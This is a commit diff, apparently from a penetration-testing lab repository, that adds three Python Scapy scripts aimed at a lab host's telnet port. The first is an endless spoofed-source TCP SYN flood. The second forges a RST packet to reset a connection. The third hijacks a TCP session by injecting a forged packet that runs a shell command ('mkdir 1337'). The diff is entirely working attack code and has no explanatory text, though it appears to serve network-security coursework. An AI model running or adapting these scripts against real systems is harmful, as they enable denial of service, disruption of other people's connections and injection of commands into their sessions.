refactored. 01-02-03 done

02-pentest/01-network/01-tcpip/02-tcp/volume/opt1.py

@@ -0,0 +1,15 @@
+#!/usr/bin/python3
+
+from scapy.all import IP, TCP, send
+from ipaddress import IPv4Address
+from random import getrandbits
+
+ip = IP(dst="10.3.0.4")
+tcp = TCP(dport=23, flags='S')
+pkt = ip/tcp
+ 
+while True:
+    pkt[IP].src = str(IPv4Address(getrandbits(32)))
+    pkt[TCP].sport = getrandbits(16)
+    pkt[TCP].seq = getrandbits(32)
+    send(pkt, iface = 'eth0', verbose = 0)

02-pentest/01-network/01-tcpip/02-tcp/volume/opt2.py

@@ -0,0 +1,7 @@
+#!/usr/bin/env python3
+from scapy.all import IP,TCP,send,ls
+ip = IP(src="10.3.0.3", dst="10.3.0.4")
+tcp = TCP(sport=40060, dport=23, flags="R", seq=1838235189)
+pkt = ip/tcp
+ls(pkt)
+send(pkt, verbose=0)

02-pentest/01-network/01-tcpip/02-tcp/volume/opt3.py

@@ -0,0 +1,8 @@
+#!/usr/bin/env python3
+from scapy.all import IP,TCP,send,ls
+ip = IP(src="10.3.0.3", dst="10.3.0.4")
+tcp = TCP(sport=54402, dport=23, flags="PA", seq=4125627535, ack=2474120203)
+data = "\r mkdir 1337 \r"
+pkt = ip/tcp/data
+ls(pkt)
+send(pkt, verbose=0)